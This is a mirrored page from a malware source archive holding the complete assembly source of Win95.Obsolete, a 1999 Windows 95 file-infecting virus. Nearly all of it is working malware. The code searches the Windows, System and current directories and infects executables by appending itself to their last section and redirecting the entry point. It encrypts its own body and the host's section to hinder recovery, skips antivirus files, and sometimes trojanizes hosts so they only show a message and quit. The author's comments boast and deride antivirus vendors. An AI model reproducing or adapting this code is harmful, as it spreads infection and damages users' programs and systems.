mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
855 lines
27 KiB
NASM
855 lines
27 KiB
NASM
|
;============================================================================
|
||
|
;
|
||
|
;
|
||
|
; NAME: Win95.Obsolete v1.00
|
||
|
; TYPE: Direct-action variable encrypting PE-infector.
|
||
|
; OS: Windoze95 (my version that is).
|
||
|
; SIZE: 1400-sumptin' bytes (yuck!).
|
||
|
; AUTHOR: T-2000 / [Immortal Riot].
|
||
|
; E-MAIL: T2000_@hotmail.com
|
||
|
; DATE: December 1998 - February 1999.
|
||
|
; PAYLOAD: Trojanizes files.
|
||
|
;
|
||
|
;
|
||
|
; Driven by the painful thought that my virii would never make the rounds
|
||
|
; again, I had to abandon my soulmate DOS and start writing for the Win32-
|
||
|
; beast... may the Incubus get me...
|
||
|
;
|
||
|
; Obsolete is a 32-bit virus specifically written for Windoze95, however,
|
||
|
; it may or may not work correctly under other Win95-releases than mine,
|
||
|
; this due the fact that it uses two static API's (namely GetModuleHandleA
|
||
|
; and GetProcAddressA). When an infected file is executed the virus will
|
||
|
; try to infect up to three PE EXE/SCR files in the Windoze, System, and
|
||
|
; current directory. Files starting with the DWORD 'SCAN' will be excluded
|
||
|
; from infection, I assume McFuck's Win95-SCAN does a sanity-check, though
|
||
|
; I haven't verified this. Filedates/times will be preserved during the
|
||
|
; infection-process, and the virus won't be bothered by readonly-attributes.
|
||
|
; Obsolete doesn't fix a PE's alignments, Win95 doesn't give a fuck while
|
||
|
; WinNT does. Infection is achieved by adding the virusbody to the end of
|
||
|
; the victim's last section and pointing Entrypoint_RVA to this position.
|
||
|
; PE's are physically cut-off after the virusbody, this means that infected
|
||
|
; files can both grow or shrink in size. To make this heap of API's a bit
|
||
|
; less trivial I made it variable encrypt the last section of the host-file,
|
||
|
; it should harden-up recovery for the AV-pigs. Besides the virus itself is
|
||
|
; also variable encrypted with a seperate key. The payload is rather "harm-
|
||
|
; less" from my point of view, every now & then it trojanizes the file it is
|
||
|
; infecting, trojanized files will generate a soundblaster beep, display an
|
||
|
; OK-box with a message, and then exit the current process, they won't pass
|
||
|
; control back to their host anymore, but are still cleanable.
|
||
|
;
|
||
|
; Now why is it that almost everybody is infecting PE's by adding to the
|
||
|
; last section? (being called the "29A-technique" by a certain group of
|
||
|
; braggers). For instance, you are changing the section's flags, in Windoze
|
||
|
; you should always stay the fuck off things that ain't yours. Furthermore,
|
||
|
; when you overwrite the (supposed to be) zero padding-bytes with your virus,
|
||
|
; you might just as well overwrite overlay-data, and what if you decide to
|
||
|
; stay resident in the "stolen" section? it is very likely that the section's
|
||
|
; virtualsize will overlap with your virus, and thus crash the system.
|
||
|
;
|
||
|
;
|
||
|
; CREDITS:
|
||
|
;
|
||
|
; Thanks to Lord Julus for writing that PE-infection guide which showed me
|
||
|
; the basics of Win32-programming, further more JFK's One was of much help
|
||
|
; as it was well commented, yet not too complicated. Biggest thanks go to
|
||
|
; Virogen and Murkry for teaching me the steps of how to infect a PE-file.
|
||
|
; Unfortunately Johnny Panic's info was a bit too advanched for me to
|
||
|
; understand as for now, and TechnoDrunk's advice was as usual hidden
|
||
|
; between a large amount of polymorphic junk-comments. Much information was
|
||
|
; gathered from the excellent PE-essays written by Micheal J. O'Leary and
|
||
|
; B. Luevelsmeyer (though the last one mentioned contained some errors).
|
||
|
;
|
||
|
; As this is my 1st Win32-virus, errors are very likely to exist in this
|
||
|
; source, if you do find any of them, and/or have any advice for me regarding
|
||
|
; Win32-coding, please do inform me about it.
|
||
|
;
|
||
|
; P.S. First generations will crash on exit.
|
||
|
;
|
||
|
; P.P.S. How the fuck do I smash sectors in Win32 ?
|
||
|
;
|
||
|
;============================================================================
|
||
|
|
||
|
|
||
|
ORG 0
|
||
|
|
||
|
.386p
|
||
|
.MODEL FLAT
|
||
|
.DATA
|
||
|
|
||
|
DD 0 ; Uch, without this the file will
|
||
|
; crash, don't ask me why...
|
||
|
|
||
|
|
||
|
EXTRN CreateThreadA:PROC ; GetProcAddress seems to need these.
|
||
|
EXTRN MessageBoxIndirectA:PROC
|
||
|
|
||
|
|
||
|
.CODE
|
||
|
|
||
|
Off = 0
|
||
|
On = 1
|
||
|
|
||
|
Debug_Mode = On ; If switched on, only DUM*.*
|
||
|
; will be infected.
|
||
|
|
||
|
Files_Per_Dir EQU 3 ; 3 files per directory.
|
||
|
Marker_File EQU 'T2IR' ; Creeping through ur files.
|
||
|
Virus_Size EQU (Virus_End-START) ; Physical virussize.
|
||
|
Virus_Size_Mem EQU (Virus_End_Mem-START) ; Virtual virussize.
|
||
|
|
||
|
|
||
|
START:
|
||
|
PUSHFD ; Save flags & registers.
|
||
|
PUSHAD
|
||
|
|
||
|
CALL Get_Delta ; Get our position in memory.
|
||
|
Get_Delta: POP ESI
|
||
|
SUB ESI, (Get_Delta-START)
|
||
|
|
||
|
MOV AL, 0 ; Load initial virus-key.
|
||
|
Initial_Key = BYTE PTR $-1
|
||
|
|
||
|
MOV EBX, (Encrypted-START)
|
||
|
MOV ECX, (Virus_End-Encrypted)
|
||
|
|
||
|
Decrypt_Byte: XOR [ESI+EBX], AL ; Decrypt a byte.
|
||
|
|
||
|
INC EBX ; Next one please.
|
||
|
|
||
|
ADD AL, 0 ; X-Ray, away.
|
||
|
Sliding_Key = BYTE PTR $-1
|
||
|
|
||
|
LOOP Decrypt_Byte ; And repeat the process.
|
||
|
|
||
|
Encrypted: ; All that comes after this is kept encrypted in PE's.
|
||
|
|
||
|
; Get image-base, this method should also work
|
||
|
; if the image is loaded at a different base
|
||
|
; than the one specified in the PE-header.
|
||
|
|
||
|
MOV EAX, ESI
|
||
|
|
||
|
SUB EAX, 12345678h
|
||
|
Virus_RVA = DWORD PTR $-4
|
||
|
|
||
|
MOV [ESI+(Host_Image_Base-START)], EAX
|
||
|
|
||
|
ADD [ESI+(Old_EIP-START)], EAX
|
||
|
|
||
|
MOV EAX, (KERNEL32_API-START)
|
||
|
LEA EDI, [ESI+(K32_API_Addresses-START)]
|
||
|
CALL Retrieve_API
|
||
|
JECXZ JMP_Exec_Host
|
||
|
|
||
|
JMP Begin_Search
|
||
|
Payload_Switch = BYTE PTR $-1
|
||
|
|
||
|
Trojan: ; Trojanized files will continue execution here.
|
||
|
|
||
|
; Retrieve API-addresses in USER32.DLL.
|
||
|
|
||
|
MOV EAX, (USER32_API-START)
|
||
|
CALL Retrieve_API
|
||
|
JECXZ JMP_Exec_Host
|
||
|
|
||
|
; Generate a soundblaster-beep.
|
||
|
|
||
|
PUSH MB_ICONEXCLAMATION
|
||
|
CALL [ESI+(MessageBeep-START)]
|
||
|
|
||
|
; Display a box with a message.
|
||
|
|
||
|
PUSH MB_ICONEXCLAMATION
|
||
|
LEA EAX, [ESI+(Window_Name-START)]
|
||
|
PUSH EAX
|
||
|
LEA EAX, [ESI+(Payload_Msg-START)]
|
||
|
PUSH EAX
|
||
|
PUSH 0
|
||
|
CALL [ESI+(MessageBoxA-START)]
|
||
|
|
||
|
; Exit current process.
|
||
|
|
||
|
CALL [ESI+(ExitProcess-START)]
|
||
|
|
||
|
|
||
|
Window_Name DB 'Win95.Obsolete v1.00', 0
|
||
|
Payload_Msg DB 'MAN HAS BECOME OBSOLETE... FEAR THE MACHINES!', 0
|
||
|
|
||
|
|
||
|
JMP_Exec_Host: JMP Execute_Host
|
||
|
|
||
|
|
||
|
Begin_Search:
|
||
|
LEA EBX, [ESI+(Current_Directory-START)]
|
||
|
MOV ECX, MAX_PATH
|
||
|
|
||
|
PUSH EBX
|
||
|
|
||
|
; Save original path.
|
||
|
|
||
|
PUSH EBX
|
||
|
PUSH ECX
|
||
|
CALL [ESI+(GetCurrentDirectoryA-START)]
|
||
|
|
||
|
; Obtain path to Windoze-directory.
|
||
|
|
||
|
ADD EBX, ECX
|
||
|
|
||
|
PUSH EBX
|
||
|
|
||
|
PUSH ECX
|
||
|
PUSH EBX
|
||
|
CALL [ESI+(GetWindowsDirectoryA-START)]
|
||
|
|
||
|
; Obtain path to Windoze\System-directory.
|
||
|
|
||
|
ADD EBX, ECX
|
||
|
|
||
|
PUSH EBX
|
||
|
|
||
|
PUSH ECX
|
||
|
PUSH EBX
|
||
|
CALL [ESI+(GetSystemDirectoryA-START)]
|
||
|
|
||
|
; Infect files in Windoze-directory.
|
||
|
|
||
|
MOV EBX, [ESI+(SetCurrentDirectoryA-START)]
|
||
|
|
||
|
CALL EBX
|
||
|
CALL Infect_Directory
|
||
|
|
||
|
; Infect files in Windoze\System-directory.
|
||
|
|
||
|
CALL EBX
|
||
|
CALL Infect_Directory
|
||
|
|
||
|
; Infect files in the current directory.
|
||
|
|
||
|
CALL EBX
|
||
|
CALL Infect_Directory
|
||
|
|
||
|
Execute_Host: MOV ECX, 0
|
||
|
Section_Size = DWORD PTR $-4
|
||
|
JECXZ Virus_Exit
|
||
|
|
||
|
MOV EBX, 400000h
|
||
|
Host_Image_Base = DWORD PTR $-4
|
||
|
|
||
|
ADD EBX, OFFSET Carrier
|
||
|
RVA_Encrypted = DWORD PTR $-4
|
||
|
|
||
|
MOV AL, 0
|
||
|
Init_K_Section = BYTE PTR $-1
|
||
|
|
||
|
Decr_Section: XOR [EBX], AL ; Decrypt the host's section.
|
||
|
|
||
|
INC EBX
|
||
|
|
||
|
ADD AL, 0
|
||
|
Slide_K_Section = BYTE PTR $-1
|
||
|
|
||
|
LOOP Decr_Section
|
||
|
|
||
|
Virus_Exit: POPAD ; Restore registers & flags.
|
||
|
POPFD
|
||
|
|
||
|
MOV EAX, OFFSET Carrier ; EAX = EIP of program.
|
||
|
Old_EIP = DWORD PTR $-4
|
||
|
|
||
|
JMP EAX
|
||
|
|
||
|
|
||
|
|
||
|
Infect_Directory:
|
||
|
|
||
|
PUSHAD
|
||
|
|
||
|
; Reset infection-counter.
|
||
|
|
||
|
AND BYTE PTR [ESI+(Infect_Counter-START)], 0
|
||
|
|
||
|
LEA EAX, [ESI+(Search_Buffer-START)]
|
||
|
PUSH EAX
|
||
|
LEA EAX, [ESI+(File_Spec-START)]
|
||
|
PUSH EAX
|
||
|
CALL [ESI+(FindFirstFileA-START)]
|
||
|
|
||
|
CMP EAX, -1 ; Abort on error.
|
||
|
JE Exit_Infect
|
||
|
|
||
|
XCHG EBP, EAX
|
||
|
|
||
|
Infect_Loop: CMP BYTE PTR [ESI+(Infect_Counter-START)], Files_Per_Dir
|
||
|
JNB Exit_Infect
|
||
|
|
||
|
Infect_File: PUSH EBP
|
||
|
|
||
|
LEA EBX, [ESI+(Search_Buffer.Find_File_Name-START)]
|
||
|
|
||
|
Check_File_Ext: MOV EDI, EBX
|
||
|
|
||
|
XOR AL, AL ; Find end of ASCIIZ-string.
|
||
|
MOV CH, 0FFh
|
||
|
CLD
|
||
|
REPNZ SCASB
|
||
|
|
||
|
MOV EAX, [EDI-5] ; Get last DWORD of filename.
|
||
|
CALL Upcase_EAX
|
||
|
|
||
|
CMP EAX, 'EXE.' ; Standard .EXE-file?
|
||
|
JE Check_Filename
|
||
|
|
||
|
Go_Find_Next_F: CMP EAX, 'RCS.' ; Screensaver-file?
|
||
|
JNE Find_Next_File
|
||
|
|
||
|
Check_Filename: MOV EAX, [EBX] ; Get 1st DWORD of filename.
|
||
|
CALL Upcase_EAX
|
||
|
|
||
|
CMP EAX, 'NACS' ; Don't infect McFuck SCAN,
|
||
|
JE Go_Find_Next_F ; (most overused Windoze AV).
|
||
|
|
||
|
Save_File_Attr: PUSH EBX
|
||
|
CALL [ESI+(GetFileAttributesA-START)]
|
||
|
|
||
|
PUSH EAX
|
||
|
PUSH EBX
|
||
|
|
||
|
; Clear the readonly-flag.
|
||
|
|
||
|
AND AL, NOT FILE_ATTRIBUTE_READONLY
|
||
|
|
||
|
PUSH EAX
|
||
|
PUSH EBX
|
||
|
CALL [ESI+(SetFileAttributesA-START)]
|
||
|
|
||
|
XOR EBP, EBP
|
||
|
|
||
|
PUSH EBP ; Open the file.
|
||
|
PUSH FILE_ATTRIBUTE_NORMAL
|
||
|
PUSH OPEN_EXISTING
|
||
|
PUSH EBP
|
||
|
PUSH EBP
|
||
|
PUSH GENERIC_READ OR GENERIC_WRITE
|
||
|
PUSH EBX
|
||
|
CALL [ESI+(CreateFileA-START)]
|
||
|
|
||
|
CMP EAX, -1 ; Error?
|
||
|
JE Restore_Attr
|
||
|
|
||
|
MOV [ESI+(File_Handle-START)], EAX
|
||
|
|
||
|
PUSH EAX
|
||
|
|
||
|
XCHG EDI, EAX
|
||
|
|
||
|
; Save the host's time/date of creation,
|
||
|
; last access, and last write.
|
||
|
|
||
|
LEA EAX, [ESI+(Victim_Last_Write_Time-START)]
|
||
|
|
||
|
PUSH EAX
|
||
|
|
||
|
PUSH EAX
|
||
|
ADD EAX, 8
|
||
|
PUSH EAX
|
||
|
ADD EAX, 8
|
||
|
PUSH EAX
|
||
|
PUSH EDI
|
||
|
CALL [ESI+(GetFileTime-START)]
|
||
|
|
||
|
PUSH EBP
|
||
|
PUSH EDI
|
||
|
CALL [ESI+(GetFileSize-START)]
|
||
|
|
||
|
MOV [ESI+(Host_Size-START)], EAX
|
||
|
|
||
|
ADD EAX, Virus_Size
|
||
|
|
||
|
; Like, allocate memory for the mapped file, or
|
||
|
; whatever the fuck this shit is neccesary for.
|
||
|
|
||
|
PUSH EBP
|
||
|
PUSH EAX
|
||
|
PUSH EBP
|
||
|
PUSH PAGE_READWRITE
|
||
|
PUSH EBP
|
||
|
PUSH EDI
|
||
|
CALL [ESI+(CreateFileMappingA-START)]
|
||
|
|
||
|
OR EAX, EAX ; Error?
|
||
|
JZ Close_File
|
||
|
|
||
|
PUSH EAX
|
||
|
|
||
|
; This should map the file in our
|
||
|
; allocated memory, am I not right???
|
||
|
|
||
|
PUSH EBP ; WHOLE file.
|
||
|
PUSH EBP
|
||
|
PUSH EBP
|
||
|
PUSH FILE_MAP_WRITE
|
||
|
PUSH EAX
|
||
|
CALL [ESI+(MapViewOfFile-START)]
|
||
|
|
||
|
OR EAX, EAX ; Error?
|
||
|
JZ Close_Mapping
|
||
|
|
||
|
PUSH EAX
|
||
|
|
||
|
CMP [EAX.EXE_Mark], 'ZM' ; File must be .EXE-type.
|
||
|
JNE Unmap_File
|
||
|
|
||
|
CMP [EAX.Reloc_Table], 40h ; It has a NE/PE-header?
|
||
|
JB Unmap_File
|
||
|
|
||
|
MOV ECX, [EAX+3Ch] ; Obtain pointer to PE-header.
|
||
|
|
||
|
LEA EDI, [EAX+ECX] ; EDI = PE-header.
|
||
|
|
||
|
CMP [EDI.PE_Mark], 'EP' ; Make sure it's a PE-file.
|
||
|
JNE Unmap_File
|
||
|
|
||
|
; A bit redundant, I guess...
|
||
|
|
||
|
CMP [EDI.CPU_Type], 14Ch ; This PE is for 386+'s ?
|
||
|
JNE Unmap_File
|
||
|
|
||
|
; === Avoid DLL's. ===
|
||
|
|
||
|
TEST BYTE PTR [EDI.PE_Flags+1], 00100000b
|
||
|
JNZ Unmap_File
|
||
|
|
||
|
; === Did we already infect it before? ===
|
||
|
|
||
|
CMP [EDI.Reserved_1], Marker_File
|
||
|
JE Unmap_File
|
||
|
|
||
|
XCHG EBX, EAX ; EBX = Mapping-address.
|
||
|
|
||
|
; === Get last section-header. ===
|
||
|
|
||
|
XOR EAX, EAX
|
||
|
MOV AX, [EDI.Number_Of_Sections]
|
||
|
DEC AX
|
||
|
MOV ECX, 40
|
||
|
MUL ECX
|
||
|
|
||
|
MOV EDX, EDI ; EDX = PE-header.
|
||
|
|
||
|
MOV BP, [EDX.Headers_Size]
|
||
|
ADD EBP, 18h
|
||
|
ADD EBP, EAX
|
||
|
ADD EBP, EDX ; EBP = Last section-header.
|
||
|
|
||
|
MOV EAX, [EBP.Section_Start]
|
||
|
ADD EAX, [EBP.Section_Size_Raw]
|
||
|
|
||
|
LEA EDI, [EAX+EBX] ; Offset of virus in file.
|
||
|
|
||
|
PUSHAD
|
||
|
|
||
|
MOV ECX, Virus_Size ; Copy virus to mapped file.
|
||
|
CLD
|
||
|
REP MOVSB
|
||
|
|
||
|
POPAD
|
||
|
|
||
|
ADD EAX, Virus_Size ; Set new size of host.
|
||
|
|
||
|
MOV [ESI+(Host_Size-START)], EAX
|
||
|
|
||
|
PUSH [EDX.Entry_Point]
|
||
|
POP DWORD PTR [EDI+(Old_EIP-START)]
|
||
|
|
||
|
; Calculate virus' new EIP RVA.
|
||
|
|
||
|
MOV EAX, [EBP.Section_RVA]
|
||
|
ADD EAX, [EBP.Section_Size_Raw]
|
||
|
|
||
|
MOV [EDX.Entry_Point], EAX ; Set our new entrypoint.
|
||
|
|
||
|
MOV [EDI+(Virus_RVA-START)], EAX
|
||
|
|
||
|
IN AX, 40h ; Get a random value in AL.
|
||
|
XOR AL, AH
|
||
|
|
||
|
AND AL, 11111100b ; Trojanize this victim?
|
||
|
JNZ Skip_Trojanize
|
||
|
|
||
|
; Patch JMP to let it point to the trojan-code.
|
||
|
|
||
|
MOV [EDI+(Payload_Switch-START)], AL
|
||
|
|
||
|
Skip_Trojanize: MOV EAX, [EBP.Section_Size_Raw]
|
||
|
MOV ECX, [EBP.Section_Size_Virtual]
|
||
|
|
||
|
; Always pick the smallest size.
|
||
|
|
||
|
CMP EAX, ECX ; The other one is smaller?
|
||
|
JNB Not_Bigger ; No, leave things this way.
|
||
|
|
||
|
XCHG ECX, EAX ; Else use the smaller size.
|
||
|
|
||
|
Not_Bigger: MOV [EDI+(Section_Size-START)], ECX
|
||
|
|
||
|
ADD [EBP.Section_Size_Virtual], Virus_Size_Mem
|
||
|
ADD [EBP.Section_Size_Raw], Virus_Size
|
||
|
ADD [EDX.Image_Size], Virus_Size
|
||
|
|
||
|
; Set object-flags: code, executable, readable, and writable.
|
||
|
|
||
|
OR [EBP.Section_Flags], 11100000000000000000000000100000b
|
||
|
|
||
|
JECXZ Encrypt_Virus ; Don't let LOOP overflow.
|
||
|
|
||
|
ADD EBX, [EBP.Section_Start]
|
||
|
|
||
|
PUSH [EBP.Section_RVA]
|
||
|
POP DWORD PTR [EDI+(RVA_Encrypted-START)]
|
||
|
|
||
|
IN AX, 40h ; Get random keys.
|
||
|
|
||
|
MOV [EDI+(Init_K_Section-START)], AL
|
||
|
MOV [EDI+(Slide_K_Section-START)], AH
|
||
|
|
||
|
Encr_Section: XOR [EBX], AL ; Encrypt host's last section.
|
||
|
|
||
|
INC EBX
|
||
|
|
||
|
ADD AL, AH
|
||
|
|
||
|
LOOP Encr_Section
|
||
|
|
||
|
Encrypt_Virus: IN AX, 40h ; Get a random value in AX.
|
||
|
|
||
|
MOV [EDI+(Initial_Key-START)], AL
|
||
|
MOV [EDI+(Sliding_Key-START)], AH
|
||
|
|
||
|
ADD EDI, (Encrypted-START)
|
||
|
MOV ECX, (Virus_End-Encrypted)
|
||
|
|
||
|
Encrypt_Byte: XOR [EDI], AL ; Encrypt virusbody.
|
||
|
|
||
|
INC EDI
|
||
|
|
||
|
ADD AL, AH
|
||
|
|
||
|
LOOP Encrypt_Byte
|
||
|
|
||
|
; Mark this host as being infected.
|
||
|
|
||
|
MOV [EDX.Reserved_1], Marker_File
|
||
|
|
||
|
; We succesfully infected yet another file.
|
||
|
|
||
|
INC BYTE PTR [ESI+(Infect_Counter-START)]
|
||
|
|
||
|
Unmap_File: CALL [ESI+(UnmapViewOfFile-START)]
|
||
|
|
||
|
Close_Mapping: CALL [ESI+(CloseHandle-START)]
|
||
|
|
||
|
Close_File: PUSH 0
|
||
|
PUSH 0
|
||
|
PUSH 12345678h
|
||
|
Host_Size = DWORD PTR $-4
|
||
|
PUSH DWORD PTR [ESI+(File_Handle-START)]
|
||
|
CALL [ESI+(SetFilePointer-START)]
|
||
|
|
||
|
PUSH DWORD PTR [ESI+(File_Handle-START)]
|
||
|
CALL [ESI+(SetEndOfFile-START)]
|
||
|
|
||
|
POP EAX
|
||
|
|
||
|
PUSH EAX ; Restore original filedates
|
||
|
ADD EAX, 8 ; and times.
|
||
|
PUSH EAX
|
||
|
ADD EAX, 8
|
||
|
PUSH EAX
|
||
|
PUSH 12345678h
|
||
|
File_Handle = DWORD PTR $-4
|
||
|
CALL [ESI+(SetFileTime-START)]
|
||
|
|
||
|
CALL [ESI+(CloseHandle-START)]
|
||
|
|
||
|
Restore_Attr: CALL [ESI+(SetFileAttributesA-START)]
|
||
|
|
||
|
Find_Next_File: POP EBP
|
||
|
|
||
|
; Now go find the next .EXE-file.
|
||
|
|
||
|
LEA EAX, [ESI+(Search_Buffer-START)]
|
||
|
PUSH EAX
|
||
|
PUSH EBP
|
||
|
CALL [ESI+(FindNextFileA-START)]
|
||
|
|
||
|
OR EAX, EAX
|
||
|
JNZ Infect_Loop
|
||
|
|
||
|
Exit_Infect: POPAD
|
||
|
|
||
|
RET
|
||
|
|
||
|
|
||
|
Author DB '(c) 1998-1999 by T-2000 / Immortal Riot', 0
|
||
|
|
||
|
|
||
|
; EAX = Offset to module-name.
|
||
|
; EDI = Pointer to buffer API-addresses.
|
||
|
Retrieve_API:
|
||
|
PUSH ESI
|
||
|
|
||
|
MOV EBX, ESI ; EBX holds the delta-offset.
|
||
|
|
||
|
ADD ESI, EAX ; Module-name.
|
||
|
|
||
|
; === Get the base-address of the given module. ===
|
||
|
|
||
|
PUSH ESI
|
||
|
CALL [EBX+(GetModuleHandleA-START)]
|
||
|
|
||
|
XCHG ECX, EAX
|
||
|
JECXZ Exit_Get_API
|
||
|
|
||
|
MOV EBP, ECX ; EBP = Module-base.
|
||
|
|
||
|
ADD ESI, 13 ; ESI = Start API-names.
|
||
|
|
||
|
Retrieve_Addr: PUSH ESI ; Retrieve the API's address.
|
||
|
PUSH EBP
|
||
|
CALL [EBX+(GetProcAddress-START)]
|
||
|
|
||
|
CLD ; Store the API-address.
|
||
|
STOSD
|
||
|
|
||
|
XCHG ECX, EAX
|
||
|
JECXZ Exit_Get_API
|
||
|
|
||
|
Find_End_API: LODSB ; Go to next API-name.
|
||
|
|
||
|
OR AL, AL ; Reached the end of ASCIIZ?
|
||
|
JNZ Find_End_API
|
||
|
|
||
|
CMP [ESI], AL ; We did 'em all?
|
||
|
JNZ Retrieve_Addr ; Nope, so continue loop.
|
||
|
|
||
|
Exit_Get_API: POP ESI
|
||
|
|
||
|
RET
|
||
|
|
||
|
|
||
|
; Don't use a lame AND to convert to uppercase, it'll
|
||
|
; screw things up with non-alfabethical characters.
|
||
|
Upcase_EAX:
|
||
|
ROL EAX, 8
|
||
|
|
||
|
CALL Upcase_AL
|
||
|
|
||
|
ROL EAX, 8
|
||
|
|
||
|
CALL Upcase_AL
|
||
|
|
||
|
ROL EAX, 8
|
||
|
|
||
|
CALL Upcase_AL
|
||
|
|
||
|
ROL EAX, 8
|
||
|
|
||
|
Upcase_AL: CMP AL, 'a'
|
||
|
JB Exit_Upcase_AL
|
||
|
|
||
|
CMP AL, 'z'
|
||
|
JA Exit_Upcase_AL
|
||
|
|
||
|
SUB AL, 'a' - 'A'
|
||
|
|
||
|
Exit_Upcase_AL: RET
|
||
|
|
||
|
|
||
|
; ********************* DATA AREA *******************************************
|
||
|
|
||
|
|
||
|
IF Debug_Mode
|
||
|
|
||
|
File_Spec DB 'DUM*.*', 0 ; Searchmask for debugmode.
|
||
|
|
||
|
ELSE
|
||
|
|
||
|
File_Spec DB '*.*', 0 ; Searchmask for wildmode.
|
||
|
|
||
|
ENDIF
|
||
|
|
||
|
|
||
|
; All API's used by the actual infection-process.
|
||
|
|
||
|
KERNEL32_API DB 'KERNEL32.dll', 0
|
||
|
DB 'GetWindowsDirectoryA', 0
|
||
|
DB 'GetSystemDirectoryA', 0
|
||
|
DB 'FindFirstFileA', 0
|
||
|
DB 'FindNextFileA', 0
|
||
|
DB 'CreateFileA', 0
|
||
|
DB 'CreateFileMappingA', 0
|
||
|
DB 'MapViewOfFile', 0
|
||
|
DB 'UnmapViewOfFile', 0
|
||
|
DB 'CloseHandle', 0
|
||
|
DB 'GetFileTime', 0
|
||
|
DB 'SetFileTime', 0
|
||
|
DB 'GetFileSize', 0
|
||
|
DB 'SetFilePointer', 0
|
||
|
DB 'SetEndOfFile', 0
|
||
|
DB 'GetCurrentDirectoryA', 0
|
||
|
DB 'SetCurrentDirectoryA', 0
|
||
|
DB 'GetFileAttributesA', 0
|
||
|
DB 'SetFileAttributesA', 0
|
||
|
DB 'ExitProcess', 0
|
||
|
DB 0
|
||
|
|
||
|
|
||
|
; This shit is only used by the trojan-code.
|
||
|
|
||
|
USER32_API DB 'USER32.dll', 0, 0, 0
|
||
|
DB 'MessageBoxA', 0
|
||
|
DB 'MessageBeep', 0
|
||
|
DB 0
|
||
|
|
||
|
|
||
|
; Fuck, these are hardcoded!
|
||
|
|
||
|
GetModuleHandleA DD 0BFF775BDh
|
||
|
GetProcAddress DD 0BFF76D5Ch
|
||
|
|
||
|
|
||
|
Virus_End:
|
||
|
|
||
|
|
||
|
K32_API_Addresses:
|
||
|
|
||
|
GetWindowsDirectoryA DD 0
|
||
|
GetSystemDirectoryA DD 0
|
||
|
FindFirstFileA DD 0
|
||
|
FindNextFileA DD 0
|
||
|
CreateFileA DD 0
|
||
|
CreateFileMappingA DD 0
|
||
|
MapViewOfFile DD 0
|
||
|
UnmapViewOfFile DD 0
|
||
|
CloseHandle DD 0
|
||
|
GetFileTime DD 0
|
||
|
SetFileTime DD 0
|
||
|
GetFileSize DD 0
|
||
|
SetFilePointer DD 0
|
||
|
SetEndOfFile DD 0
|
||
|
GetCurrentDirectoryA DD 0
|
||
|
SetCurrentDirectoryA DD 0
|
||
|
GetFileAttributesA DD 0
|
||
|
SetFileAttributesA DD 0
|
||
|
ExitProcess DD 0
|
||
|
|
||
|
|
||
|
U32_API_Addresses:
|
||
|
|
||
|
MessageBoxA DD 0
|
||
|
MessageBeep DD 0
|
||
|
|
||
|
|
||
|
Current_Directory DB MAX_PATH DUP(0)
|
||
|
Windows_Directory DB MAX_PATH DUP(0)
|
||
|
System_Directory DB MAX_PATH DUP(0)
|
||
|
|
||
|
|
||
|
Infect_Counter DB 0
|
||
|
|
||
|
|
||
|
Victim_Last_Write_Time DD 0, 0
|
||
|
Victim_Last_Access_Time DD 0, 0
|
||
|
Victim_Creation_Time DD 0, 0
|
||
|
|
||
|
|
||
|
Search_Buffer DB 666 DUP(0)
|
||
|
|
||
|
|
||
|
Virus_End_Mem:
|
||
|
|
||
|
; ???????????????????????????????????????????????????????????????????????????
|
||
|
|
||
|
|
||
|
Section_Header STRUC
|
||
|
Section_Name DB 8 DUP(0)
|
||
|
Section_Size_Virtual DD 0
|
||
|
Section_RVA DD 0
|
||
|
Section_Size_Raw DD 0
|
||
|
Section_Start DD 0
|
||
|
DD 0, 0
|
||
|
DW 0, 0
|
||
|
Section_Flags DD 0
|
||
|
Section_Header ENDS
|
||
|
|
||
|
|
||
|
Find_First_Next_Win32 STRUC
|
||
|
File_Attributes DD 0
|
||
|
Creation_Time DD 0, 0
|
||
|
Last_Accessed_Time DD 0, 0
|
||
|
Last_Written_Time DD 0, 0
|
||
|
Find_File_Size_High DD 0
|
||
|
Find_File_Size_Low DD 0
|
||
|
Find_Reserved_1 DD 0
|
||
|
Find_Reserved_2 DD 0
|
||
|
Find_File_Name DB 260 DUP(0)
|
||
|
Find_DOS_File_Name DB 13 DUP(0)
|
||
|
Find_First_Next_Win32 ENDS
|
||
|
|
||
|
|
||
|
EXE_Header STRUC
|
||
|
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
|
||
|
Image_Mod_512 DW 0
|
||
|
Image_512_Pages DW 0
|
||
|
Reloc_Items DW 0
|
||
|
Header_Size_Mem DW 0
|
||
|
Min_Size_Mem DW 0
|
||
|
Max_Size_Mem DW 0
|
||
|
Program_SS DW 0
|
||
|
Program_SP DW 0
|
||
|
Checksum DW 0
|
||
|
Program_IP DW 0
|
||
|
Program_CS DW 0
|
||
|
Reloc_Table DW 0
|
||
|
EXE_Header ENDS
|
||
|
|
||
|
|
||
|
PE_Header STRUC
|
||
|
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
||
|
CPU_Type DW 0
|
||
|
Number_Of_Sections DW 0
|
||
|
DD 0
|
||
|
Reserved_1 DD 0
|
||
|
DD 0
|
||
|
Headers_Size DW 0
|
||
|
PE_Flags DW 0
|
||
|
DW 8 DUP(0)
|
||
|
Entry_Point DD 0
|
||
|
DD 2 DUP(0)
|
||
|
Image_Base DD 0
|
||
|
Object_Align DD 0
|
||
|
File_Align DD 0
|
||
|
DW 0, 0
|
||
|
DW 0, 0
|
||
|
DW 0, 0
|
||
|
DD 0
|
||
|
Image_Size DD 0
|
||
|
PE_Header ENDS
|
||
|
|
||
|
|
||
|
; This shit ain't complete.
|
||
|
|
||
|
INCLUDE WIN32API.INC
|
||
|
|
||
|
|
||
|
Carrier:
|
||
|
PUSH 0
|
||
|
CALL ExitProcess
|
||
|
|
||
|
END START
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|